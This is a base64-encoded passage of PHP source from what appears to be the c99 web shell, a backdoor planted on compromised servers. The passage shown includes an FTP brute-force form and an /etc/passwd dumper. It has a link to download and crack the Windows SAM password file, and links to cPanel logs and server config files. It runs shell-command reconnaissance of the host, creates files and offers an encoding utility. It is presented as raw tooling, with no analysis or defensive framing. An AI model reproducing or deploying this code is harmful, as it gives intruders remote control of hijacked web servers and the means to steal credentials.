JHN1cmwgLiAiXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiZnRwcXVpY2ti
cnV0ZVwiPjxicj5SZWFkIGZpcnN0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcWJfbGVuZ2h0
XCIgdmFsdWU9XCIiIC4gJG5peHB3ZHBlcnBhZ2UgLiAiXCI+PGJyPjxicj5Vc2VycyBvbmx5IHdp
dGggc2hlbGw/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfb25seXdp
dGhzaFwiIHZhbHVlPVwiMVwiPjxicj48YnI+TG9nZ2luZz8mbmJzcDs8aW5wdXQgdHlwZT1cImNo
ZWNrYm94XCIgbmFtZT1cImZxYl9sb2dnaW5nXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+TG9n
Z2luZyB0byBmaWxlPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmls
ZVwiIHZhbHVlPVwiIiAuICRsb2dmaWxlIC4gIlwiIHNpemU9XCIiIC4gKHN0cmxlbigkbG9nZmls
ZSkgKyAyICogKHN0cmxlbigkbG9nZmlsZSkgLyAxMCkpIC4gIlwiPjxicj5Mb2dnaW5nIHRvIGUt
bWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFs
dWU9XCIiIC4gJGxvZ19lbWFpbCAuICJcIiBzaXplPVwiIiAuIChzdHJsZW4oJGxvZ2VtYWlsKSAr
IDIgKiAoc3RybGVuKCRsb2dlbWFpbCkgLyAxMCkpIC4gIlwiPjxicj48YnI+PGlucHV0IHR5cGU9
c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsNCiAgICAgICAgICAg
IH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAiZCIpDQogICAgew0KICAgICAg
ICBpZiAoIWlzX2RpcigkZCkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+
PGI+UGVybWlzaW9uIGRlbmllZCE8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgfQ0KICAgICAgICBl
bHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlv
bjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOw0KICAg
ICAgICAgICAgaWYgKCEkd2luKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8g
Ijx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAgICAgICAgICAgICAg
JG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICAgICAgICAgICAgICAgJGdy
ID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAgICAgICAgICAgICAgJHJvd1td
ID0gKCRvd1sibmFtZSJdID8gJG93WyJuYW1lIl0gOiBmaWxlb3duZXIoJGQpKSAuICIvIiAuICgk
Z3JbIm5hbWUiXSA/ICRnclsibmFtZSJdIDogZmlsZWdyb3VwKCRkKSk7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9
XCIiIC4gJHN1cmwgLiAiYWN0PWNobW9kJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+PGI+IiAu
IHZpZXdfcGVybXNfY29sb3IoJGQpIC4gIjwvYj48L2E+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwv
Yj48L3RkPjx0ZD4gIiAuIGRhdGUoImQvbS9ZIEg6aTpzIiwgZmlsZWN0aW1lKCRkKSkgLiAiPC90
ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIgLiBkYXRlKCJkL20v
WSBIOmk6cyIsIGZpbGVhdGltZSgkZCkpIC4gIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0
aW1lPC9iPjwvdGQ+PHRkPiAiIC4gZGF0ZSgiZC9tL1kgSDppOnMiLCBmaWxlbXRpbWUoJGQpKSAu
ICI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFj
dCA9PSAicGhwaW5mbyIpDQogICAgew0KICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgcGhw
aW5mbygpOw0KICAgICAgICBjOTlzaGV4aXQoKTsNCiAgICB9DQogICAgaWYgKCRhY3QgPT0gInNl
Y3VyaXR5IikNCiAgICB7DQogICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5
IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiIC4gJGhvcGVuYmFz
ZWRpciAuICI8L2I+PGJyPiI7DQogICAgICAgIGlmICghJHdpbikNCiAgICAgICAgew0KICAgICAg
ICAgICAgaWYgKCRuaXhwYXNzd2QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYg
KCRuaXhwYXNzd2QgPT0gMSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICRuaXhwYXNzd2QgPSAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hv
ICI8Yj4qbml4IC9ldGMvcGFzc3dkOjwvYj48YnI+IjsNCiAgICAgICAgICAgICAgICBpZiAoIWlz
X251bWVyaWMoJG5peHB3ZF9zKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICRuaXhwd2RfcyA9IDA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlm
ICghaXNfbnVtZXJpYygkbml4cHdkX2UpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgJG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7DQogICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIgLiAkc3VybCAuICJcIj48aW5w
dXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhp
ZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlu
cHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIiAuICRuaXhwd2Rf
cyAuICJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1c
Im5peHB3ZF9lXCIgdmFsdWU9XCIiIC4gJG5peHB3ZF9lIC4gIlwiPiZuYnNwOzxpbnB1dCB0eXBl
PXN1Ym1pdCB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+PGJyPiI7DQogICAgICAgICAgICAgICAgJGkg
PSAkbml4cHdkX3M7DQogICAgICAgICAgICAgICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKQ0KICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHVpZCA9IHBvc2l4X2dldHB3dWlk
KCRpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiIC4g
JHN1cmwgLiAiYWN0PWxzJmQ9IiAuIHVybGVuY29kZSgkdWlkWyJkaXIiXSkgLiAiXCI+IiAuICR1
aWRbImRpciJdIC4gIjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCI6
IiwgJHVpZCkgLiAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjxhIGhyZWY9
XCIiIC4gJHN1cmwgLiAiYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9IiAuICR1ZCAuICJcIj48
Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+IjsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR2ID0gJF9TRVJW
RVJbIldJTkRJUiJdIC4gIlxyZXBhaXJcc2FtIjsNCiAgICAgICAgICAgIGlmIChmaWxlX2dldF9j
b250ZW50cygkdikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+PGZv
bnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIiAuICR2IC4gIikg
PC9mb250PjwvYj48YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3Ug
Y2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZm
PXNhbSZkPSIgLiAkX1NFUlZFUlsiV0lORElSIl0gLiAiXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48
dT48Yj5Eb3dubG9hZDwvYj48L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srIMKpLjwvZm9udD48
L2I+PGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGZpbGVfZ2V0
X2NvbnRlbnRzKCIvZXRjL3VzZXJkb21haW5zIikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVj
aG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj11
c2VyZG9tYWlucyZkPSIgLiB1cmxlbmNvZGUoIi9ldGMiKSAuICImZnQ9dHh0XCI+PHU+PGI+Vmll
dyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iOw0K
ICAgICAgICB9DQogICAgICAgIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Zhci9jcGFuZWwvYWNj
b3VudGluZy5sb2ciKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+PGZvbnQgY29s
b3I9Z3JlZW4+PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPWFjY291bnRpbmcubG9nJmQ9
IiAuIHVybGVuY29kZSgiL3Zhci9jcGFuZWwvIikgLiAiXCImZnQ9dHh0Pjx1PjxiPlZpZXcgY3Bh
bmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iOw0KICAgICAgICB9DQogICAgICAg
IGlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25m
IikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxh
IGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj1odHRwZC5jb25mJmQ9IiAuIHVybGVuY29kZSgi
L3Vzci9sb2NhbC9hcGFjaGUvY29uZiIpIC4gIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmln
dXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iOw0KICAgICAg
ICB9DQogICAgICAgIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9odHRwZC5jb25mIikpDQog
ICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9
XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj1odHRwZC5jb25mJmQ9IiAuIHVybGVuY29kZSgiL2V0YyIp
IC4gIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+
PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iOw0KICAgICAgICB9DQogICAgICAgIGlmIChmaWxlX2dl
dF9jb250ZW50cygiL2V0Yy9zeXNsb2cuY29uZiIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBl
Y2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9
c3lzbG9nLmNvbmYmZD0iIC4gdXJsZW5jb2RlKCIvZXRjIikgLiAiJmZ0PXR4dFwiPjx1PjxiPlN5
c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxi
cj4iOw0KICAgICAgICB9DQogICAgICAgIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3Rk
IikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxh
IGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj1tb3RkJmQ9IiAuIHVybGVuY29kZSgiL2V0YyIp
IC4gIiZmdD10eHRcIj48dT48Yj5NZXNzYWdlIE9mIFRoZSBEYXk8L2I+PC91PjwvYT48L2ZvbnQ+
PC9iPjxicj4iOw0KICAgICAgICB9DQogICAgICAgIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0
Yy9ob3N0cyIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj48Zm9udCBjb2xvcj1n
cmVlbj48YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9aG9zdHMmZD0iIC4gdXJsZW5jb2Rl
KCIvZXRjIikgLiAiJmZ0PXR4dFwiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48
YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwg
JHZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCR2YWx1ZSkpDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpDQogICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkbmFtZSA9ICI8Yj4iIC4gJG5hbWUgLiAiIC0g
PC9iPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gJG5hbWUgLiBu
bDJicigkdmFsdWUpIC4gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAg
IGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uPyIsIG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVy
c2lvbiIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oIktlcm5lbCB2ZXJzaW9uPyIsIG15c2hl
bGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7DQogICAgICAgIGRpc3BsYXlzZWNp
bmZvKCJEaXN0cmliIG5hbWUiLCBteXNoZWxsZXhlYygiY2F0IC9ldGMvaXNzdWUubmV0IikpOw0K
ICAgICAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lICgyKSIsIG15c2hlbGxleGVjKCJj
YXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJDUFU/IiwgbXlz
aGVsbGV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygi
UkFNIiwgbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJI
REQgc3BhY2UiLCBteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZv
KCJMaXN0IG9mIEF0dHJpYnV0ZXMiLCBteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOw0KICAgICAg
ICBkaXNwbGF5c2VjaW5mbygiTW91bnQgb3B0aW9ucyAiLCBteXNoZWxsZXhlYygiY2F0IC9ldGMv
ZnN0YWIiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJJcyBjVVJMIGluc3RhbGxlZD8iLCBt
eXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oIklzIGx5
bnggaW5zdGFsbGVkPyIsIG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOw0KICAgICAgICBkaXNw
bGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsIG15c2hlbGxleGVjKCJ3aGljaCBsaW5r
cyIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oIklzIGZldGNoIGluc3RhbGxlZD8iLCBteXNo
ZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJJcyBHRVQg
aW5zdGFsbGVkPyIsIG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7DQogICAgICAgIGRpc3BsYXlz
ZWNpbmZvKCJJcyBwZXJsIGluc3RhbGxlZD8iLCBteXNoZWxsZXhlYygid2hpY2ggcGVybCIpKTsN
CiAgICAgICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIGFwYWNoZSIsIG15c2hlbGxleGVjKCJ3
aGVyZWlzIGFwYWNoZSIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/
IiwgbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8o
ImxvY2F0ZSBwcm9mdHBkLmNvbmYiLCBteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIp
KTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIiwgbXlzaGVsbGV4
ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygibG9jYXRl
IG15LmNvbmYiLCBteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7DQogICAgICAgIGRpc3Bs
YXlzZWNpbmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLCBteXNoZWxsZXhlYygibG9jYXRlIHBzeWJu
Yy5jb25mIikpOw0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAibWtmaWxlIikNCiAgICB7DQogICAg
ICAgIGlmICgkbWtmaWxlICE9ICRkKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoZmlsZV9l
eGlzdHMoJG1rZmlsZSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+
TWFrZSBGaWxlIFwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkgLiAiXCI8L2I+OiBvYmpl
Y3QgYWxyZWR5IGV4aXN0cyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCFm
b3BlbigkbWtmaWxlLCAidyIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8g
IjxiPk1ha2UgRmlsZSBcIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpIC4gIlwiPC9iPjog
YWNjZXNzIGRlbmllZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgJGFjdCA9ICJmIjsNCiAgICAgICAgICAgICAgICAkZCA9
IGRpcm5hbWUoJG1rZmlsZSk7DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZCwgLTEpICE9
IERJUkVDVE9SWV9TRVBBUkFUT1IpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAkZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGFjdCA9ICRkc3BhY3Qg
PSAibHMiOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgkYWN0ID09ICJlbmNvZGVyIikNCiAg
ICB7DQogICAgICAgIGVjaG8gIjxzY3JpcHQ+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4
dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD48
Y2VudGVyPjxiPkVuY29kZXI6PC9iPjwvY2VudGVyPjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgYWN0
aW9uPVwiIiAuICRzdXJsIC4gIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWFjdCB2YWx1ZT1lbmNvZGVyPjxiPklucHV0OjwvYj48Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPVwi
ZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTUwIHJvd3M9NT4iIC4gQGh0bWxzcGVj
aWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpIC4gIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlw
ZT1zdWJtaXQgdmFsdWU9XCJjYWxjdWxhdGVcIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwv
Yj46PGJyPjxjZW50ZXI+IjsNCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoDQogICAgICAgICAgICAi
bWQ1IiwNCiAgICAgICAgICAgICJjcnlwdCIsDQogICAgICAgICAgICAic2hhMSIsDQogICAgICAg
ICAgICAiY3JjMzIiDQogICAgICAgICkgYXMgJHYpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVj
aG8gJHYgLiAiIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNlbGVj
dCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2Vs
ZWN0KClcIiB2YWx1ZT1cIiIgLiAkdigkZW5jb2Rlcl9pbnB1dCkgLiAiXCIgcmVhZG9ubHk+PGJy
PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PGI+VXJsOjwvYj48Y2VudGVy
Pjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMu
c2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhp
cy5zZWxlY3QoKVwiIHZhbHVlPVwiIiAuIHVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkgLiAiXCIg
cmVhZG9ubHk+DQogPGJyPnVybGRlY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZv
Y3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91
c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycyh1cmxk
ZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAuICJcIiByZWFkb25seT4NCiA8YnI+PC9jZW50ZXI+PGI+
QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9
MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClc
IiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIiAuIGJhc2U2NF9lbmNvZGUo
JGVuY29kZXJfaW5wdXQpIC4gIlwiIHJlYWRvbmx5PjwvY2VudGVyPiI7DQogICAgICAgIGVjaG8g
IjxjZW50ZXI+YmFzZTY0X2RlY29kZSAtICI7DQogICAgICAgIGlmIChiYXNlNjRfZW5jb2RlKGJh
c2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAhPSAkZW5jb2Rlcl9pbnB1dCkNCiAgICAgICAg
ew0KICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiZmFp
bGVkXCIgZGlzYWJsZWQgcmVhZG9ubHk+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAg
ICAgIHsNCiAgICAgICAgICAgICRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5w
dXQpOw0KICAgICAgICAgICAgJGRlYmFzZTY0ID0gc3RyX3JlcGxhY2UoIlwwIiwgIlswXSIsICRk
ZWJhc2U2NCk7DQogICAgICAgICAgICAkYSA9IGV4cGxvZGUoIlxyXG4iLCAkZGViYXNlNjQpOw0K
ICAgICAgICAgICAgJHJvd3MgPSBjb3VudCgkYSk7DQogICAgICAgICAgICAkZGViYXNlNjQgPSBo
dG1sc3BlY2lhbGNoYXJzKCRkZWJhc2U2NCk7DQogICAgICAgICAgICBpZiAoJHJvd3MgPT0gMSkN
CiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNp
emU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0
KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIiAuICRkZWJhc2U2NCAu
ICJcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcm93cysrOw0KICAgICAg
ICAgICAgICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBcIiByb3dzPVwiIiAuICRyb3dzIC4g
IlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgp
XCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+
IiAuICRkZWJhc2U2NCAuICI8L3RleHRhcmVhPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChk
b2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPjxiPl48L2I+PC9hPiI7DQog
ICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PGJyPjxiPkJhc2UgY29udmVydGF0aW9u
czwvYj46PGNlbnRlcj5kZWMyaGV4IC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9
XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91
dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQogICAgICAgICRjID0gc3RybGVuKCRlbmNv
ZGVyX2lucHV0KTsNCiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkYzskaSsrKQ0KICAgICAgICB7
DQogICAgICAgICAgICAkaGV4ID0gZGVjaGV4KG9yZCgkZW5jb2Rlcl9pbnB1dFskaV0pKTsNCiAg
ICAgICAgICAgIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgIGVjaG8gJGVuY29kZXJfaW5wdXRbJGldOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICIlIiAuICRoZXg7DQogICAgICAgICAgICB9DQog
ICAgICAgIH0NCiAgICAgICAgZWNobyAiXCIgcmVhZG9ubHk+PGJyPjwvY2VudGVyPjwvZm9ybT4i
